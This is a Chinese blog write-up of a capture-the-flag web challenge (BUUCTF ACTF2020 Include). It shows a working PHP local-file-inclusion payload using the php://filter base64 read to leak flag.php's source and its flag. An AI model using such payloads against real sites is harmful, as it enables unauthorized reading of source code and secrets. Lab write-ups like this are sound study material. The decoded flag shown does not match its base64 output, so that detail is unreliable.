

【BUUCTF】[ACTF2020 新生赛] IncludeWriteup

原创

你们这样一点都不可耐  于 2020-08-22 23:48:30 发布  1254  收藏 4

分类专栏: [Web安全](#) 文章标签: [php filter 安全](#) [ctf 安全漏洞](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/vanarrow/article/details/108177243>

版权



[Web安全](#) 专栏收录该内容

53 篇文章 6 订阅

订阅专栏

【BUUCTF】[ACTF2020 新生赛]Include

[0x00 知识点](#)

[0x01 解题](#)

0x00 知识点

?file=flag.php 猜测文件包含漏洞

php://filter与包含函数结合时, php://filter流会被当作php文件执行。所以我们一般对其进行编码, 阻止其不执行。从而导致任意文件读取。

php://filter 伪协议文件包含读取源代码, 加上read=convert.base64-encode, 用base64编码输出, 不然会直接当做php代码执行, 看不到源代码内容。

php://input 伪协议 + POST发送PHP代码 (不行)

← → ↻ ⬆️ ⓘ 不安全 | cc37cd91-f900-46ed-bea7-861778560a9c.node3.buuoj.cn/?file=php://input

hacker!

<https://blog.csdn.net/vanarrow>

0x01 解题

tips

← → ↻ 🏠 ⓘ 不安全 | cc37cd91-f900-46ed-bea7-861778560a9c.node3.buuoj.cn/?file=flag.php

Can you find out the flag?

<https://blog.csdn.net/vanarrow>

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

```
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YWUyM2EzZWItM2FkNS00NzZmLWI1NGUtOTkzMjJlOTc1NTk5fQo=
```

结果 字符数:83

```
<?php
echo "Can you find out the flag?";
//flag{ae23a3eb-3ad5-4733-b54e-99322e975599}
```

<https://blog.csdn.net/vanarrow>

```
<?php
echo "Can you find out the flag?";
//flag{ae23a3eb-3ad5-4733-b54e-99322e975599}
```

flag{ae23a3eb-3ad5-4733-b54e-99322e975599}